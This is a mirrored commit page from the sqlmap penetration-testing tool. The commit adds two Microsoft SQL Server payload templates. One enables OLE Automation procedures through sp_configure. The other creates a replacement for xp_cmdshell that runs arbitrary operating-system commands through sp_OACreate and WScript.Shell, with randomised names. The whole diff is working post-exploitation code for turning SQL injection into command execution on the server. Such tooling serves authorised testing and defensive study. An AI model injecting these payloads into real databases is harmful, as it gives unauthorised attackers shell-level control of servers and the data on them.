mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
working on #51
This commit is contained in:
parent
7335072ab8
commit
fd4cfb0cc0
3 changed files with 16 additions and 13 deletions
4
procs/mssqlserver/activate_sp_oacreate.txt
Normal file
4
procs/mssqlserver/activate_sp_oacreate.txt
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
EXEC master..sp_configure 'show advanced options',1;
|
||||
RECONFIGURE WITH OVERRIDE;
|
||||
EXEC master..sp_configure 'ole automation procedures',1;
|
||||
RECONFIGURE WITH OVERRIDE"
|
||||
8
procs/mssqlserver/create_new_xp_cmdshell.txt
Normal file
8
procs/mssqlserver/create_new_xp_cmdshell.txt
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
DECLARE @%RANDSTR% nvarchar(999);
|
||||
set @%RANDSTR%='
|
||||
CREATE PROCEDURE %XP_CMDSHELL_NEW%(@cmd varchar(255)) AS DECLARE @ID int
|
||||
EXEC sp_OACreate ''WScript.Shell'',@ID OUT
|
||||
EXEC sp_OAMethod @ID,''Run'',Null,@cmd,0,1
|
||||
EXEC sp_OADestroy @ID';
|
||||
EXEC master..sp_executesql @%RANDSTR%
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue